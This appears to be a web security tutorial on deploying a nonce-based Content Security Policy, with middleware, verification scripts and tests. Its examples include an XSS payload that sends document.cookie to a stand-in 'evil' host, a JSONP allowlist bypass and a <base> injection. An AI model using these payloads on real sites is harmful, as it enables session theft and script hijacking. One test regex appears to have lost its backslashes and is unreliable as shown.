What it is
A Content Security Policy is a header telling the browser which scripts may run on your page. It does not fix XSS — it converts "the attacker injected code and it ran" into "the attacker injected HTML that does nothing". This is defence in depth, not a fix.
Why you should care
The most important thing about CSP: most policies running on the internet protect nothing, and they look entirely reasonable.
Google's research (Weichselbaum et al., CCS 2016) scanned over a billion pages and concluded 94.7% of policies were trivially bypassable. Three causes, all still common:
unsafe-inline. It is what people add to make the page work again, and it disables almost all of CSP's value against XSS.- Domain allowlists.
script-src 'self' https://cdn.examplelooks tight, but if that CDN hosts a library with a JSONP endpoint, or an old AngularJS, the attacker uses your own allowlisted domain to run code. Google's phrase for this is that allowlists "do not work at scale". 'self'plus a file upload field. If users can upload files to the same origin,'self'permits those files — see file-upload layer 3.
So a CSP worth deploying has exactly one shape: nonces or hashes, plus 'strict-dynamic'. It does not depend on you allowlisting the right domains — it depends on a script carrying a value only your server knows.
And one truth about cost: a nonce-based CSP cannot be deployed as an added header. It forces you to remove every onclick= from your HTML and every <script> without a nonce. That is real work, and it is why most projects stop at a policy containing unsafe-inline.
How the attack works
A CSP is a list of directives, and the browser checks each resource before loading or running it. The mechanism worth understanding is how a nonce works and why it beats an allowlist.
flowchart TD R["Request for /profile"] --> S["Server generates a random nonce<br/>r4nd0m-per-request"] S --> H["Header: script-src #quot;nonce-r4nd0m#quot; #quot;strict-dynamic#quot;"] S --> B["HTML: script nonce=#quot;r4nd0m#quot;<br/>app.js"] H --> BR{Browser checks<br/>each script tag} B --> BR BR -->|"nonce matches"| OK["✅ Runs"] BR -->|"XSS injected a script tag<br/>with NO nonce"| NO["❌ Blocked"] OK --> SD["strict-dynamic: this script<br/>may load further scripts"]The key point: the attacker can inject HTML but does not know the nonce. It is regenerated per request, so there is no way to guess it or recover it from an earlier response. That is why nonces beat allowlists: an allowlist asks "where did this script come from", a nonce asks "did my server emit this tag".
'strict-dynamic' is the directive that makes CSP workable with a real bundler. Without it, every chunk webpack or Vite loads dynamically is blocked — and then people turn CSP off. It says: a script already trusted (it has the nonce) is trusted to create further scripts via document.createElement("script"). It also causes domain allowlists to be ignored, and that is intended.
Four directives nearly every real-world CSP is missing — each closes a specific bypass:
| Directive | What it closes | If missing |
|---|---|---|
object-src 'none' | <object>, <embed> | An injectable plugin that runs code |
base-uri 'none' | <base href="https://evil"> | Every relative URL, scripts included, retargets |
form-action 'self' | <form action="https://evil"> | An injected form exfiltrates data |
require-trusted-types-for 'script' | The DOM XSS family at API level | innerHTML still accepts raw strings |
base-uri is the most-omitted directive and it bypasses even a nonce-based CSP: injecting <base> makes <script nonce="…" src="/app.js"> load from the attacker's domain — the nonce still matches, and the code is theirs.
Diagram description: The diagram shows the flow of a nonce-based CSP. The server generates a fresh random nonce per request, places it in the script-src header alongside strict-dynamic, and stamps that same nonce onto the script tags in the HTML. The browser checks each script tag: one with a matching nonce runs, one injected by XSS with no nonce is blocked. A script that ran is permitted to load further scripts thanks to strict-dynamic, so a bundler splitting chunks dynamically still works.
Concrete example
Four policies. The first three look reasonable and none of them protects anything.
# ① With unsafe-inline. The most common CSP in the wild, and useless against XSS.Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'<!-- The payload walks through with no technique at all: --><img src=x onerror="fetch('https://evil/?c='+document.cookie)"># ② A domain allowlist. Looks tight, and one JSONP endpoint on the CDN breaks it.Content-Security-Policy: script-src 'self' https://cdn.jsdelivr.net<!-- The allowlisted CDN hosts a library with JSONP → arbitrary code execution --><script src="https://cdn.jsdelivr.net/npm/…/jsonp?callback=alert(document.domain)//"></script># ③ A nonce — but with unsafe-inline too. Older browsers honour unsafe-inline and IGNORE the nonce.Content-Security-Policy: script-src 'nonce-r4nd0m' 'unsafe-inline'# ④ After the fix. Nonce, strict-dynamic, and the four commonly-omitted directives.Content-Security-Policy: default-src 'none'; script-src 'nonce-r4nd0m' 'strict-dynamic' https:; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self'; font-src 'self'; object-src 'none'; base-uri 'none'; form-action 'self'; frame-ancestors 'none'; require-trusted-types-for 'script'; report-uri /api/csp-reportAnd the bypass of policy ④ if base-uri were missing — this is why that line is there:
<!-- The nonce still matches. But <base> retargets every relative URL, so --><!-- <script nonce="r4nd0m" src="/app.js"> loads from evil.example/app.js. --><base href="https://evil.example/">// ── ① CSP phổ biến nhất trên Internet ──────────────────────────────────────app.Use(async (ctx, next) =>{ // ❌ unsafe-inline. Nó được thêm vào vì trang vỡ khi thiếu nó, và nó tắt gần // như toàn bộ giá trị của CSP đối với XSS: <img src=x onerror="..."> đi qua // mà không cần kỹ thuật gì. // // Nghiên cứu của Google (CCS 2016) quét hơn một tỉ trang: 94,7% CSP vòng qua // được, và đây là nguyên nhân số một. ctx.Response.Headers["Content-Security-Policy"] = "default-src 'self'; script-src 'self' 'unsafe-inline'"; await next();}); // ── ② Allowlist domain. Trông chặt hơn, và vẫn vòng qua được ───────────────app.Use(async (ctx, next) =>{ // ❌ Một CDN trong allowlist host một thư viện có JSONP endpoint, hay một // AngularJS cũ, là đủ để chạy code tuỳ ý — bằng chính domain bạn đã cho phép. // Đây là nguyên nhân số hai trong bài báo, và nó là lý do allowlist không // dùng được ở quy mô thật. ctx.Response.Headers["Content-Security-Policy"] = "script-src 'self' https://cdn.jsdelivr.net https://unpkg.com"; await next();}); // ── ③ Nonce — nhưng có cả unsafe-inline ────────────────────────────────────// ❌ Trình duyệt hiện tại bỏ unsafe-inline khi có nonce, nhưng trình duyệt cũ làm// NGƯỢC LẠI: dùng unsafe-inline và bỏ nonce. Nonce thành trang trí.//// Dòng này thường xuất hiện vì ai đó thêm nonce mà không dám bỏ unsafe-inline.ctx.Response.Headers["Content-Security-Policy"] = $"script-src 'nonce-{nonce}' 'unsafe-inline'"; // ── Và một CSP đúng nhưng đặt sai chỗ ──────────────────────────────────────// ❌ frame-ancestors, report-uri và sandbox bị BỎ QUA hoàn toàn trong <meta>.// Policy trông đầy đủ, thiếu đúng ba chỉ thị đó, và không có gì báo lỗi.// Thêm nữa: <meta> chỉ có hiệu lực từ chỗ nó xuất hiện trong tài liệu.// <meta http-equiv="Content-Security-Policy" content="frame-ancestors 'none'; report-uri /csp">// next.config.tsconst csp = [ "default-src 'self'", // ❌ Nonce đặt trong header nhưng KHÔNG truyền xuống các thẻ script mà Next sinh // ra, nên toàn bộ app vỡ. Cách "sửa" mà mọi người chọn là thêm unsafe-inline — // và lúc đó nonce chỉ còn là trang trí. // // Nguyên nhân thật: nonce phải sinh ở MIDDLEWARE (per-request) và truyền qua // header để Next đọc lại, không đặt tĩnh trong config. "script-src 'self' 'unsafe-inline' 'unsafe-eval'",].join("; "); export default { async headers() { return [{ source: "/(.*)", headers: [{ key: "Content-Security-Policy", value: csp }] }]; },};What happened in the wild
British Airways, 2018 — 429,612 customers, £20m fine (cited in the xss topic, repeated here for a different angle). Magecart modified a JavaScript file hosted on BA's own site. What CSP would have done and BA lacked: connect-src 'self' would have blocked that script from posting to baways.com, and report-uri would have reported the first attempt. BA did not detect it for 15 days — and that is the number report-uri exists to fix.
Google's CCS 2016 paper — "CSP Is Dead, Long Live CSP!" Scanning over a billion pages: 94.7% of policies were bypassable. The leading cause was unsafe-inline, the second was a domain allowlist containing an endpoint capable of arbitrary code execution. This is the paper that produced 'strict-dynamic', and it is why block 6 says a worthwhile CSP has one shape.
And one failure mode worth knowing: a correct policy delivered via <meta>. frame-ancestors, report-uri and sandbox are entirely ignored in a <meta> tag — so a policy that looks complete is missing exactly those three, and nothing reports an error.
How to defend
A per-request nonce plus `strict-dynamic` — and NO `unsafe-inline`
mandatoryThe research in block 5 is the whole argument: domain allowlists fail at real scale, so a worthwhile CSP has exactly one shape.
Four rules, and dropping any one makes the policy meaningless:
- A fresh nonce PER request from a CSPRNG, ≥16 bytes. A reused nonce is one the attacker read from an earlier response and used for their own payload.
- NO
unsafe-inlinealongside the nonce. Current browsers ignoreunsafe-inlinewhen a nonce is present, but older ones do the opposite — and then the nonce is decoration. If you need that compatibility, it is a decision to write down, not a line added for convenience. 'strict-dynamic'so a bundler splitting chunks dynamically still works. Without it, CSP breaks on the next build and people disable it — the actual cause of most abandoned policies.https:as a fallback for browsers that do not understandstrict-dynamic. It is loose, but browsers that do understandstrict-dynamicignore it — so it only applies to old ones.
And state the cost plainly: this policy forces removing every onclick= from your HTML and every <script> without a nonce. That is real work, usually several days for a mid-sized app — and it is why most projects stop at unsafe-inline. The route in: turn on Report-Only first, fix everything it reports, then switch to enforcement.
/// <summary>/// CSP dạng nonce. Đây là hình dạng DUY NHẤT đáng triển khai, theo kết luận của/// nghiên cứu Google ở khối 5: allowlist domain thất bại ở quy mô thật, vì bạn không/// kiểm soát được nội dung của một domain bạn cho phép.////// Nonce đổi câu hỏi: allowlist hỏi "script này đến từ đâu", nonce hỏi "SERVER CỦA/// TÔI có sinh ra thẻ này không". Kẻ tấn công chèn được HTML nhưng không biết nonce./// </summary>public sealed class CspMiddleware(RequestDelegate next){ /// <summary>Khoá để Razor/view đọc lại nonce và gắn vào thẻ script.</summary> public const string NonceKey = "csp-nonce"; public async Task InvokeAsync(HttpContext ctx) { // 16 byte từ CSPRNG, base64url. Sinh MỖI request: một nonce dùng lại là một // nonce kẻ tấn công đọc được từ response trước rồi dùng cho payload của họ. var nonce = WebEncoders.Base64UrlEncode(RandomNumberGenerator.GetBytes(16)); ctx.Items[NonceKey] = nonce; var policy = string.Join("; ", [ // default-src 'none', KHÔNG 'self': mọi loại tài nguyên đóng theo mặc // định rồi mở từng cái. Chiều này quan trọng — với 'self', một loại tài // nguyên mới trong chuẩn CSP tương lai sẽ mặc định được phép. "default-src 'none'", // KHÔNG có unsafe-inline. Đặt cùng nonce thì trình duyệt cũ dùng // unsafe-inline và bỏ nonce. // // strict-dynamic để bundler chia chunk động vẫn chạy — thiếu nó thì CSP // vỡ ở lần build sau và người ta TẮT nó, đó là nguyên nhân thật của phần // lớn trường hợp CSP bị bỏ. https: là fallback cho trình duyệt không // hiểu strict-dynamic; trình duyệt hiểu nó thì bỏ qua https:. $"script-src 'nonce-{nonce}' 'strict-dynamic' https:", // CSS inline không chạy được code, nên unsafe-inline ở đây là đánh đổi // chấp nhận được — và style-src nonce làm vỡ gần như mọi CSS-in-JS. "style-src 'self' 'unsafe-inline'", "img-src 'self' data: https:", "font-src 'self'", "connect-src 'self'", // ── Bốn chỉ thị mà gần như mọi CSP thực tế đều thiếu ──────────────── // <object>/<embed> chạy được code, và default-src không phủ chúng ở // một số trình duyệt. "object-src 'none'", // Chỉ thị bị bỏ NHIỀU NHẤT, và là chỉ thị vòng qua được cả nonce: // <base href="https://evil/"> làm <script nonce="..." src="/app.js"> // nạp từ domain kẻ tấn công — nonce vẫn khớp, code là của họ. // Nếu chỉ thêm được một dòng vào một CSP đang có, thêm dòng này. "base-uri 'none'", // Không có nó, CSP chặn script nhưng một <form action="https://evil"> // đã chèn vẫn gửi dữ liệu người dùng vừa gõ ra ngoài. "form-action 'self'", // Clickjacking, cùng một header — xem topic clickjacking. "frame-ancestors 'none'", // Đóng cả họ DOM XSS ở TẦNG API: innerHTML không nhận chuỗi thô nữa, // nó đòi một TrustedHTML. Biện pháp duy nhất ở đây tác động vào nguyên // nhân của DOM XSS thay vì vào từng chỗ gọi. "require-trusted-types-for 'script'", // GIỮ sau khi cưỡng chế. Mỗi report là một trong hai thứ: một trang bị // vỡ (bug của ta) hoặc MỘT LẦN XSS BỊ CHẶN. Đây là thứ British Airways // thiếu trong 15 ngày. "report-uri /api/csp-report", ]); ctx.Response.Headers["Content-Security-Policy"] = policy; // Mẫu để đổi policy về sau mà không có cửa sổ không được bảo vệ: chạy // Report-Only với policy MỚI song song với cưỡng chế policy CŨ. Hai header // cùng lúc là hợp lệ. // ctx.Response.Headers["Content-Security-Policy-Report-Only"] = nextPolicy; await next(ctx); }} // Program.cs — đặt SỚM để phủ cả trang lỗi do middleware sau ném ra.app.UseMiddleware<CspMiddleware>();app.UseExceptionHandler("/error"); // ── Razor: gắn nonce vào thẻ script ────────────────────────────────────────// @{ var nonce = (string)Context.Items[CspMiddleware.NonceKey]!; }// <script nonce="@nonce" src="~/js/app.js"></script>//// Không còn onclick= nào trong HTML, và không còn <script> nào không có nonce.// Đây là công việc thật của việc triển khai CSP — thường vài ngày cho một app cỡ// trung, và là lý do phần lớn dự án dừng ở unsafe-inline. // ── Nhận báo cáo ───────────────────────────────────────────────────────────[HttpPost("/api/csp-report")][AllowAnonymous][EnableRateLimiting("csp-report")]public async Task<IActionResult> Report(CancellationToken ct){ using var doc = await JsonDocument.ParseAsync(Request.Body, cancellationToken: ct); var r = doc.RootElement.GetProperty("csp-report"); var blocked = r.TryGetProperty("blocked-uri", out var b) ? b.GetString() ?? "" : ""; // Lọc nhiễu từ extension: nếu không, chúng chiếm hơn 90% report và làm cả // dashboard vô dụng — rồi không ai xem nó nữa. if (blocked.StartsWith("chrome-extension:") || blocked.StartsWith("moz-extension:") || blocked.StartsWith("safari-extension:")) return NoContent(); _log.LogWarning("Vi phạm CSP: {Directive} chặn {Blocked} trên {Document}", r.TryGetProperty("violated-directive", out var d) ? d.GetString() : "?", blocked, r.TryGetProperty("document-uri", out var u) ? u.GetString() : "?"); return NoContent();}// middleware.ts — Next.js App Routerimport { NextResponse, type NextRequest } from "next/server"; export function middleware(req: NextRequest) { // Sinh MỖI request. Web Crypto vì middleware chạy ở Edge runtime, không có // node:crypto — và crypto.randomUUID() thì entropy thấp hơn 16 byte thô. const bytes = new Uint8Array(16); crypto.getRandomValues(bytes); const nonce = btoa(String.fromCharCode(...bytes)).replace(/\+/g, "-").replace(/\//g, "_").replace(/=/g, ""); const csp = [ "default-src 'none'", // KHÔNG unsafe-inline. strict-dynamic là dòng làm CSP sống được với chunk động // của Next — thiếu nó thì mọi route mới nạp bị chặn và người ta tắt CSP. "script-src 'nonce-" + nonce + "' 'strict-dynamic' https:", "style-src 'self' 'unsafe-inline'", "img-src 'self' data: https:", "font-src 'self'", "connect-src 'self'", // Bốn chỉ thị hay bị bỏ. base-uri là cái vòng qua được cả nonce. "object-src 'none'", "base-uri 'none'", "form-action 'self'", "frame-ancestors 'none'", "report-uri /api/csp-report", ].join("; "); // Truyền nonce xuống bằng REQUEST header: Next đọc x-nonce và tự gắn nó vào mọi // thẻ script nó sinh ra. Đây là mảnh mà bản lỗi thiếu — nonce trong response // header mà script không có nonce thì trang vỡ, và người ta thêm unsafe-inline. const headers = new Headers(req.headers); headers.set("x-nonce", nonce); const res = NextResponse.next({ request: { headers } }); res.headers.set("Content-Security-Policy", csp); return res;} // Áp cho mọi route TRỪ tài nguyên tĩnh: _next/static không cần CSP và thêm header// vào đó chỉ làm tăng kích thước mỗi response.export const config = { matcher: ["/((?!_next/static|_next/image|favicon.ico).*)"],}; // ── Dùng nonce trong layout ────────────────────────────────────────────────// import { headers } from "next/headers";//// export default async function RootLayout({ children }) {// const nonce = (await headers()).get("x-nonce") ?? undefined;// return (// <html>// <body>// {children}// {/* Mọi script tự viết phải mang nonce. Script của Next tự có nhờ x-nonce. */}// <Script nonce={nonce} src="/js/analytics.js" strategy="afterInteractive" />// </body>// </html>// );// }The four directives nearly every CSP is missing
mandatoryThe block 3 table lists them, and each closes a bypass of the nonce-based policy itself:
base-uri 'none'— the most-omitted directive, and the one that bypasses a nonce. Injecting<base href="https://evil/">makes<script nonce="…" src="/app.js">load from the attacker's domain: the nonce still matches, the code is theirs. If you can add only one line to your current policy, add this.object-src 'none'—<object>/<embed>can execute code, anddefault-srcdoes not cover them in some browsers.form-action 'self'— without it, an injected<form action="https://evil">exfiltrates data (including what the user just typed). A CSP that blocks script but not forms is a CSP that still leaks data.require-trusted-types-for 'script'— closes the DOM XSS family at the API level rather than at each call site:innerHTMLno longer accepts a raw string, it demands aTrustedHTML. This is the only control on the list that acts on the cause of DOM XSS.
Plus default-src 'none' as the base: every resource type closed by default, then opened one at a time. The direction matters — default-src 'self' means a new resource type in a future CSP revision is permitted by default.
An HTTP header, not a `<meta>` tag
mandatoryA small detail that leaves an apparently complete policy missing three important directives, with nothing reporting an error:
frame-ancestors, report-uri/report-to, and sandbox are entirely IGNORED in <meta>.
Which means a CSP delivered via <meta http-equiv="Content-Security-Policy">:
- provides no clickjacking protection (see the clickjacking topic),
- reports nothing — so you lose the detection half, the thing BA needed for 15 days,
- and
sandboxhas no effect.
On top of that, a <meta> policy only takes effect from where it appears in the document, so everything above it in the HTML is unprotected.
<meta> is right for exactly one case: a static page hosted somewhere you cannot set headers. Otherwise set it in one middleware — same reasoning as the clickjacking topic: error pages and intermediate redirects pass through no action, and a page without a CSP is a page without a CSP.
`Report-Only` first, then enforce — and keep reporting forever
mandatoryCSP is the only control in this catalogue where how you roll it out matters as much as the policy, because a CSP that breaks the page gets switched off within the hour.
Three steps, and step three never ends:
Content-Security-Policy-Report-Onlywith the target policy. It blocks nothing and only reports. Run it for a week or two against real production — staging lacks the browser and extension diversity.- Fix everything it reports. This is the real work: removing
onclick=, stamping nonces, moving inline scripts into files. Reports will be noisy from browser extensions — filter onblocked-uristarting withchrome-extension:ormoz-extension:. - Switch to enforcement, and KEEP
report-uri. This is the commonly skipped part: after enforcement, each report is one of two things — a broken page (our bug) or an XSS attempt blocked (an attack in progress). You need to know about both.
And a workable pattern for changing the policy later: run Report-Only with the NEW policy alongside enforcement of the OLD one. Two headers at once is valid, and it lets you change the policy with no unprotected window.
CSP does not replace output encoding
This layer is a reminder about ordering, and it earns its place because CSP is easy to mistake for a fix.
CSP is layer 2 of the xss topic, not layer 1. It converts "can run code" into "can inject HTML that does not run" — and injectable HTML still does plenty:
- Rewrite the page content (phishing inside your own origin, so the URL and TLS are genuine).
- An injected
<form>exfiltrating data (ifform-actionis missing). - Leaking data via
<img src="https://evil/?d=…">ifimg-srcis broad. - Reading the CSRF token from the DOM and using it another way.
So the correct order: context-aware encoding first (xss layer 1), CSP as the net. A project with a perfect CSP and no output encoding has one layer of defence; the reverse is also one. Both together is two.
And add SRI for third-party scripts (xss layer 2b): CSP says who may run, SRI says what content — and the British Airways attack changed the content of an already-permitted file.
Verifying the fix
1. Check the policy has no unsafe-inline alongside the nonce — the most common mistake, and it turns the nonce into decoration:
B=https://app.exampleC=$(curl -sI "$B/" | tr -d '\r' | grep -i '^content-security-policy:') echo "$C" | grep -q 'nonce-' || { echo "the CSP does not use a nonce"; exit 1; }echo "$C" | grep -q "unsafe-inline" \ && { echo "unsafe-inline ALONGSIDE a nonce — older browsers ignore the nonce"; exit 1; }echo "$C" | grep -q "unsafe-eval" && echo " (warning) unsafe-eval present" # The four commonly-omitted directives — base-uri is the one that bypasses a noncefor d in "object-src" "base-uri" "form-action" "frame-ancestors"; do echo "$C" | grep -q "$d" || echo " MISSING: $d"doneexit 02. Check the nonce CHANGES between requests. A reused nonce is one the attacker read from an earlier response and used for their own payload:
n1=$(curl -sI "$B/" | grep -io 'nonce-[A-Za-z0-9+/=_-]*' | head -1)n2=$(curl -sI "$B/" | grep -io 'nonce-[A-Za-z0-9+/=_-]*' | head -1)[ "$n1" != "$n2" ] || { echo "the nonce does NOT change between requests"; exit 1; }[ ${#n1} -ge 22 ] || { echo "nonce too short: $n1"; exit 1; }3. Check the CSP is on EVERY HTML response, error pages included — same list as the clickjacking topic. The 404 and 500 pages take another route and are usually the only places still missing it.
4. Counting tests and nonce tests in CI. See the csharp / test tab. The important part is that the test asserts the nonce in the header matches the nonce in the HTML — those two are written by two different pieces of code, so they can drift, and when they do the page goes blank.
5. Check for real in a browser. The only check that proves the policy works:
// Playwright: inject a script with no nonce and assert it does NOT run.test("CSP blocks a script without a nonce", async ({ page }) => { const violations = []; page.on("console", (m) => { if (m.text().includes("Content Security Policy")) violations.push(m.text()); }); await page.goto(`${BASE}/`); await page.evaluate(() => { const s = document.createElement("script"); s.textContent = "window.__pwned = true"; document.body.appendChild(s); // no nonce }); expect(await page.evaluate(() => window.__pwned)).toBeUndefined(); expect(violations.length).toBeGreaterThan(0);});6. Treat report-uri as a dashboard, not a log. After enforcement, each report is either a broken page (our bug) or a blocked XSS attempt (an attack in progress). Alert on newly appearing blocked-uri values, and filter out chrome-extension:/moz-extension: — otherwise extension noise makes the whole dashboard useless.
public class CspTests : IClassFixture<ApiFixture>{ private readonly ApiFixture _fx; public CspTests(ApiFixture fx) => _fx = fx; private static string Csp(HttpResponseMessage r) => r.Headers.TryGetValues("Content-Security-Policy", out var v) ? string.Join("; ", v) : ""; /// <summary> /// Sai lầm phổ biến nhất, và nó biến nonce thành trang trí: trình duyệt cũ dùng /// unsafe-inline và bỏ nonce. Test này là thứ chặn ai đó thêm nó lại vì "trang vỡ". /// </summary> [Fact] public async Task Policy_uses_a_nonce_and_no_unsafe_inline() { var csp = Csp(await _fx.Client.GetAsync("/")); Assert.Contains("nonce-", csp); Assert.Contains("'strict-dynamic'", csp); Assert.DoesNotContain("unsafe-inline", csp.Split("style-src")[0]); // script-src thôi Assert.DoesNotContain("unsafe-eval", csp); } /// <summary> /// Bốn chỉ thị ở khối 3. base-uri là cái quan trọng nhất: thiếu nó thì một /// <base> chèn được làm script CÓ NONCE nạp từ domain kẻ tấn công — nonce /// vẫn khớp, và cả policy trở thành vô nghĩa. /// </summary> [Theory] [InlineData("object-src 'none'")] [InlineData("base-uri 'none'")] [InlineData("form-action 'self'")] [InlineData("frame-ancestors 'none'")] [InlineData("require-trusted-types-for 'script'")] public async Task Policy_contains_the_commonly_omitted_directives(string directive) { Assert.Contains(directive, Csp(await _fx.Client.GetAsync("/"))); } /// <summary> /// Nonce phải ĐỔI mỗi request. Một nonce cố định là một nonce kẻ tấn công đọc /// được từ response trước rồi dùng cho payload của mình — và lúc đó CSP không /// bảo vệ gì cả trong khi vẫn trông như đang bảo vệ. /// </summary> [Fact] public async Task Nonce_is_fresh_and_long_enough() { var nonces = new HashSet<string>(); for (var i = 0; i < 5; i++) { var m = Regex.Match(Csp(await _fx.Client.GetAsync("/")), @"nonce-([A-Za-z0-9+/=_-]+)"); Assert.True(m.Success); // 16 byte base64url = 22 ký tự. Ngắn hơn là đoán được. Assert.True(m.Groups[1].Value.Length >= 22, $"nonce quá ngắn: {m.Groups[1].Value}"); nonces.Add(m.Groups[1].Value); } Assert.Equal(5, nonces.Count); } /// <summary> /// Nonce trong HEADER phải khớp nonce trong HTML. /// /// Hai chỗ đó do HAI đoạn code khác nhau ghi — middleware và view — nên chúng /// lệch nhau được, và khi lệch thì mọi script bị chặn và trang trắng. Đây là /// dạng lỗi mà không test nào ở trên bắt được, vì cả header lẫn HTML đều "đúng" /// khi xét riêng. /// </summary> [Fact] public async Task Header_nonce_matches_the_html_nonce() { var res = await _fx.Client.GetAsync("/"); var html = await res.Content.ReadAsStringAsync(); var headerNonce = Regex.Match(Csp(res), @"nonce-([A-Za-z0-9+/=_-]+)").Groups[1].Value; var htmlNonces = Regex.Matches(html, @"<script[^>]*nonce=""([^""]+)""") .Select(m => m.Groups[1].Value).Distinct().ToList(); Assert.NotEmpty(htmlNonces); Assert.All(htmlNonces, n => Assert.Equal(headerNonce, n)); // Và không còn thẻ script nào KHÔNG có nonce: một cái sót lại nghĩa là // trang đó vỡ khi cưỡng chế, và ai đó sẽ "sửa" bằng unsafe-inline. var withoutNonce = Regex.Matches(html, @"<script(?![^>]*nonce=)[^>]*>") .Select(m => m.Value).ToList(); Assert.Empty(withoutNonce); } /// <summary> /// Không còn handler inline nào trong HTML. Đây là phần công việc thật của việc /// triển khai CSP nonce, và test này là thứ giữ nó không quay lại. /// </summary> [Fact] public async Task No_inline_event_handlers_in_rendered_html() { var html = await (await _fx.Client.GetAsync("/")).Content.ReadAsStringAsync(); var handlers = Regex.Matches(html, @"son(click|load|error|mouseover|submit|change)s*=") .Select(m => m.Value.Trim()).Distinct().ToList(); Assert.Empty(handlers); } /// <summary> /// CSP trên MỌI response HTML, kể cả trang 404 và 500 — chúng đi đường khác và /// thường là chỗ duy nhất còn thiếu. Cùng danh sách như topic clickjacking. /// </summary> [Theory] [InlineData("/")] [InlineData("/login")] [InlineData("/settings")] [InlineData("/not-a-real-page")] [InlineData("/error")] public async Task Every_html_response_carries_a_policy(string path) { Assert.Contains("script-src", Csp(await _fx.Client.GetAsync(path))); }}Common mistakes
| The "fix" | Why it is wrong |
|---|---|
script-src 'self' 'unsafe-inline' | Useless against XSS: <img onerror> walks through. This is the most common CSP on the internet |
A nonce and unsafe-inline | Older browsers honour unsafe-inline and ignore the nonce. The nonce is decoration |
| A domain allowlist | Google scanned a billion pages: 94.7% bypassable. One JSONP endpoint on an allowlisted CDN is enough |
script-src 'self' plus a file upload field | 'self' permits the very file a user uploaded. See the file-upload topic |
| A nonce reused across requests | The attacker reads it from one response and uses it for their payload |
Missing base-uri | <base href="https://evil/"> makes your nonced script load from the attacker's domain. The nonce still matches |
Missing form-action | The CSP blocks script but an injected <form> still exfiltrates data |
Delivering the CSP via <meta> | frame-ancestors, report-uri and sandbox are entirely IGNORED, and nothing reports an error |
Dropping report-uri after enforcement | You lose the detection half. This is what BA lacked for 15 days |
| Enforcing immediately without Report-Only | The page breaks, and the CSP is switched off within the hour. Rollout matters as much as the policy |
| Treating CSP as the XSS fix | It is layer 2. Injectable HTML still phishes inside your own origin, with a genuine URL and genuine TLS |
The purpose mistake, and the root of every row above: thinking CSP is a header you add to "improve the security score". A policy with unsafe-inline does raise scanner scores, and it protects almost nothing — which makes it worse than no CSP: it creates the feeling that XSS is handled.
The cost mistake: believing a nonce-based CSP ships in one sprint as a config line. It forces removing every onclick= and every inline script — several days for a mid-sized app. Stating that number up front is the only way a project does not stop at unsafe-inline.
Comments
Commenting needs an account with at least one completed lesson. That condition is what keeps this thread worth reading: every point belongs to someone who can be asked back, and reputation accrues over time.
You can still read every comment below without an account. Signing in brings you back to this exact spot, not to the top of the page.
Loading comments…